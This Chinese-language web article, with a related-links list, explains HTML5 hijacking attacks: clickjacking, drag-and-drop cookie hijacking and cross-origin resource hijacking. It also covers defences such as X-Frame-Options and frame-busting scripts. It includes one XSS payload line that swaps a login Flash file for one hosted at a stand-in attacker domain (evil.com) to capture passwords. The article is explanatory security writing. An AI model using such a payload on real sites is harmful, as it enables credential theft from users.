HTML5安全風(fēng)險(xiǎn)之劫持攻擊詳解

下面我們要講到一類的HTML5安全問題,也就是劫持的問題。
一、ClickJacking-點(diǎn)擊劫持
這種攻擊方式正變得越來越普遍。被攻擊的頁面作為iframe,用Mask的方式設(shè)置為透明放在上層,惡意代碼偷偷地放在后面的頁面中,使得一個(gè)頁面看起來似乎是安全的,然后誘騙用戶點(diǎn)擊網(wǎng)頁上的內(nèi)容,達(dá)到竊取用戶信息或者劫持用戶操作的目的。下圖中,欺詐的頁面放置在下層,被攻擊的銀行頁面作為透明的層放置在上層,用戶看到的是欺詐頁面上顯示的信息并進(jìn)行輸入和點(diǎn)擊,但是真正的用戶行為是發(fā)生在銀行頁面上的。
想象一下,點(diǎn)擊劫持可以誘使你發(fā)布一條虛假微博、或者發(fā)送一封虛假郵件甚至盜取你的個(gè)人信息。例如下圖可以誘使我們發(fā)布一條虛假的Twitter消息。
這里有一個(gè)測試工具clickjacktest可以檢測你的頁面是否有點(diǎn)擊劫持的風(fēng)險(xiǎn),你可以輸入一個(gè)網(wǎng)址并點(diǎn)擊Test,如果頁面可以正常顯示并加載,那么表示這個(gè)頁面存在被點(diǎn)擊劫持攻擊的風(fēng)險(xiǎn),如果頁面顯示為一片空白,那么表示頁面比較安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及點(diǎn)擊操作,但是HTML5的拖放API使得這種攻擊擴(kuò)大到拖放操作。因?yàn)楝F(xiàn)在Web應(yīng)用里,有大量需要用戶拖放完成的操作。在同源策略里,一個(gè)域的Cookie只能被本域所訪問,但是拖放操作是不受同源策略限制的,這樣利用拖放操作、XSS和其他技巧,可以構(gòu)造跨域合法請求,劫持Cookie。
把Cookie從一個(gè)域拖拽到另外一個(gè)域里
實(shí)現(xiàn)原理其實(shí)和ClickJacking類似,只要欺騙用戶進(jìn)行拖放行為,就可以把用戶某個(gè)域的信息發(fā)送到另外一個(gè)域里。這個(gè)其實(shí)很容易做到,之前有一個(gè)研究者就在Facebook上建立了一個(gè)應(yīng)用,這個(gè)應(yīng)用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數(shù)人都會去嘗試而且不會有警惕心理。
一個(gè)誘騙拖放的小游戲
我們應(yīng)當(dāng)如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options:所有的現(xiàn)代瀏覽器都支持X-Frame-Options HTTP頭,這個(gè)頭允許頁面被iframe使用時(shí)是否正常渲染。下圖中的頁面就是當(dāng)X-Frame-Options生效時(shí)的效果。
2、Javascript方式
這種方式非常常見,具體代碼就是:
Facebook和Twitter都使用了這種方式,但是這種方式并不是完全奏效的,例如攻擊者可以使用204轉(zhuǎn)向或者禁用Javascript的方式來繞過(例如iframe沙箱)。
不過現(xiàn)在至少80%以上的網(wǎng)站都沒有注意到點(diǎn)擊劫持和cookie劫持的問題并加以保護(hù)。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對性的進(jìn)行防御。
三、CORJacking-跨域資源劫持
CORJacking是指跨源資源劫持。HTML5應(yīng)用有各種不同的資源,例如Flash文件,Silverligh,視頻,音頻等,這些資源可以通過DOM訪問和控制。如果頁面存在XSS漏洞,那么攻擊者可能通過跨域資源的劫持進(jìn)行攻擊。例如下面的代碼載入了一個(gè)swf文件,作為用戶登錄框,這里面我們可以實(shí)現(xiàn)一些加密的邏輯。
當(dāng)頁面存在XSS漏洞時(shí),攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
那么當(dāng)用戶在這樣的登錄框里輸入自己的用戶名和密碼并登錄時(shí),他的帳號就已經(jīng)被盜取了。
這個(gè)問題在不同瀏覽器里面表現(xiàn)是不一致的,有興趣的朋友可以下去自行測試。
相關(guān)文章
- 從事網(wǎng)絡(luò)安全工作,手上自然離不開一些重要的網(wǎng)絡(luò)安全工具,今天就為大家分享10大網(wǎng)絡(luò)安全工具,需要的朋友可以參考下2023-10-05
- 這篇為大家分享的是近幾年比較流量的安全檢測工具,從事網(wǎng)絡(luò)安全工作,手上自然離不開一些重要的網(wǎng)絡(luò)安全工具,今天就為大家分享10大網(wǎng)絡(luò)安全工具2023-10-05
- 如今小編從事了信息安全的工作,也算是將興趣升級成了工作,今天給大家聊聊那些年非?;鸬暮诳蛙浖?/div> 2023-10-05這篇文章主要介紹了如果不使用殺毒軟件保護(hù),您可能會面臨最常見的問題,2020-02-03這篇文章主要介紹了分享幾個(gè)IDS開源系統(tǒng),需要的朋友可以參考下2019-12-01
微信域名防封技術(shù) 微信域名總是被屏蔽被攔截該如何解決
身在網(wǎng)站要想在微信端被使用,多多少少都會有預(yù)防被攔截,是專門為運(yùn)營網(wǎng)站和公眾號的運(yùn)營者一個(gè)研究的工具幾十你是正常網(wǎng)站,也是公司企業(yè)備案,照樣也會被攔截,下面 給大2019-09-15企業(yè)數(shù)據(jù)防泄密之舉措:電腦文件加密軟件還是電腦數(shù)據(jù)防泄密系統(tǒng)?
現(xiàn)在很多單位局域網(wǎng)都是無紙化辦公,公司很多商業(yè)機(jī)密信息也是以電子文檔的方式存儲,那么電腦文件加密軟件還是電腦數(shù)據(jù)防泄密系統(tǒng)?下面就跟隨小編一起來了解一下2019-04-24公司數(shù)據(jù)防泄密方案之如何防止電腦文件泄露、公司電腦防止資料泄露?
公司日常辦公都是通過計(jì)算機(jī)網(wǎng)絡(luò)進(jìn)行,員工日常工作中形成的重要文件都是存儲在各自的電腦上,那么公司如何防止商業(yè)機(jī)密泄露、防止電腦資料泄露呢?本文就來詳細(xì)的介紹一下2019-04-24迅雷鏈技術(shù)專家深度剖析:區(qū)塊鏈信任之源的秘密
區(qū)塊鏈無疑是2018年的熱門技術(shù)。雖然,區(qū)塊鏈技術(shù)最受關(guān)注的應(yīng)用主要在金融服務(wù)領(lǐng)域,其實(shí)它越來越多地影響著各個(gè)行業(yè),迅雷鏈底層研發(fā)工程師張驍就區(qū)塊鏈安全問題和密碼學(xué)2018-12-26迅雷鏈開放平臺研發(fā)負(fù)責(zé)人張慧勇對區(qū)塊鏈安全問題的特點(diǎn)做了詳細(xì)解釋,介紹了目前區(qū)塊鏈所面臨的安全問題現(xiàn)狀、區(qū)塊鏈安全問題的特點(diǎn),以及迅雷鏈?zhǔn)侨绾巫霭踩牡讓釉O(shè)計(jì)的2018-12-26最新評論